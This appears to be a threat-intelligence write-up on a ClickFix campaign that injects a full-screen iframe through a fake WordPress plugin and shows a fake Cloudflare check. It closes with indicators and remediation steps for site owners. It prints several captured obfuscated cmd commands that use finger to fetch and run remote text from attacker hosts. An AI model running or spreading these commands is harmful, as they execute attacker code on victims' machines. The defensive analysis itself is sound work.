FrameFinger ClickFix kit

A remote iframe covers the site

FrameFinger injects an iframe named fpie_frame into the site's HTML. Fixed positioning, full viewport dimensions and a high stacking order put hxxps://id-dns[.]net/ over the page.

Each iframe load increments the fpie_count cookie. Repeated loads set fpie_done, and the cookies expire after a day. The injection also sends the current page address to the iframe through postMessage, with the message type SITE1_URL.

A fake plugin with a gate

Since 7 November 2026 we have matched FrameFinger on 6 WordPress sites through a plugin folder named block-lab-pro, at attributes/js/api-sync.js. The script does nothing for logged-in users or on admin and login pages. It reads the frame address from a config.json on a Cloudflare Workers host, which on 8 November pointed at hxxps://api-dns[.]org/. It then posts the visitor's platform, language, screen size, time zone and user agent to a second Workers host, and builds the frame only when the reply says allow.

The same script pings ssn-api[.]com/endpoint/ once a day with the page address and a tracker ID. It also removes any element with the id bw-rc-host from the page.

The fake check copies a finger command

The framed page fetches /infos.php, decodes its response with ROT13 and replaces its body with the result. That response presents a fake Cloudflare human check.

Clicking the checkbox starts a request to infos.php?fronts=0. Its callback decodes a Base64 command and copies it through a temporary textarea and document.execCommand('copy'). The command begins:

%COMSPEC% /c start "" /min for /f "delims=@" %t in (',f^^i^^n^^g^^e^^r RscncqFRZn@id-dns[.]net') do %t

The carets split up finger, and the loop runs text returned by the request. Other builds hide the name in the loop instead, taking it from the output of where ,f*n*er, or of echo fin joined to "ger". A build first captured on 10 November 2026 nests two loops: the first runs echo fin behind a row of commas, which cmd skips as delimiters, and the second joins its output to "ger" and runs the request:

for /f "delims=" %s in (',,,,,echo fin') do for /f "delims=" %v in ('"%s""ger" [user]@fonts-dns[.]pro') do @%v

FrameFinger captures send the request to id-dns[.]net, dns-api[.]org, api-connect[.]pro or fonts-dns[.]pro. A padded instruction to press Enter follows the command. The page then polls c.php every second and reloads when the reply signals completion.

What we see

Among successful captures since 25 September, 113 of 210 FrameFinger sites ran WordPress.

Checking a site

Inspect the HTML and the framed page's requests. Look for:

• a fixed, full-screen iframe with the id fpie_frame
• FPIE: plugin loaded in the injected script
• a wp-content/plugins/block-lab-pro/ folder you did not install, or requests to *.workers.dev/config.json from your pages
• fpie_count and fpie_done cookies
• SITE1_URL messages carrying the current page address
• requests to infos.php on the framed host followed by ROT13 decoding
• a copied %COMSPEC% command that hides finger behind carets, a where search or a split echo
• requests to infos.php?fronts=0 and repeated c.php checks

Remove the iframe and its injection from templates and cached pages. Review administrator and hosting access, rotate those credentials and check again from a clean browser profile.

%COMSPEC% /c %COMSPEC% /c %COMSPEC% /c start "" /^min for /f "delims=" %u in ('where ,f*n*er,') do for /f "delims=" %w in ('"%u" peufghXXDh@dns-api[.]org') do @%w &                --------------P_u_s_h----t_h_e----_E_n_t_e_r_------

%COMSPEC% /c %COMSPEC% /c %COMSPEC% /c start "" /^min for /f "delims=" %y in ('where ,f*n*er,') do for /f "delims=" %g in ('"%y" RscncqFRZn@id-dns[.]net') do @%g &                --------------P_u_s_h----t_h_e----_E_n_t_e_r_------

%COMSPEC% /c %COMSPEC% /c start "" /^min %COMSPEC% /c for /f "delims=" %y in ('echo fin') do for /f "delims=" %p in ('"%y""ger" ouWFbcfVPm@api-dns[.]org') do @%p &                --------------P_u_s_h----t_h_e----_E_n_t_e_r_------

%COMSPEC% /c %COMSPEC% /c %COMSPEC% /c start "" /^min for /f "delims=" %m in (',,,,,echo fin') do for /f "delims=" %k in ('"%m""ger" ZvaZBNaurc@fonts-dns[.]pro') do @%k &                --------------P_u_s_h----t_h_e----_E_n_t_e_r_------

%COMSPEC% /c %COMSPEC% /c start "" /^min %COMSPEC% /c for /f "delims=" %x in ('echo fin') do for /f "delims=" %w in ('"%x""ger" ouWFbcfVPm@103[.]101[.]85[.]187') do @%w &                --------------P_u_s_h----t_h_e----_E_n_t_e_r_------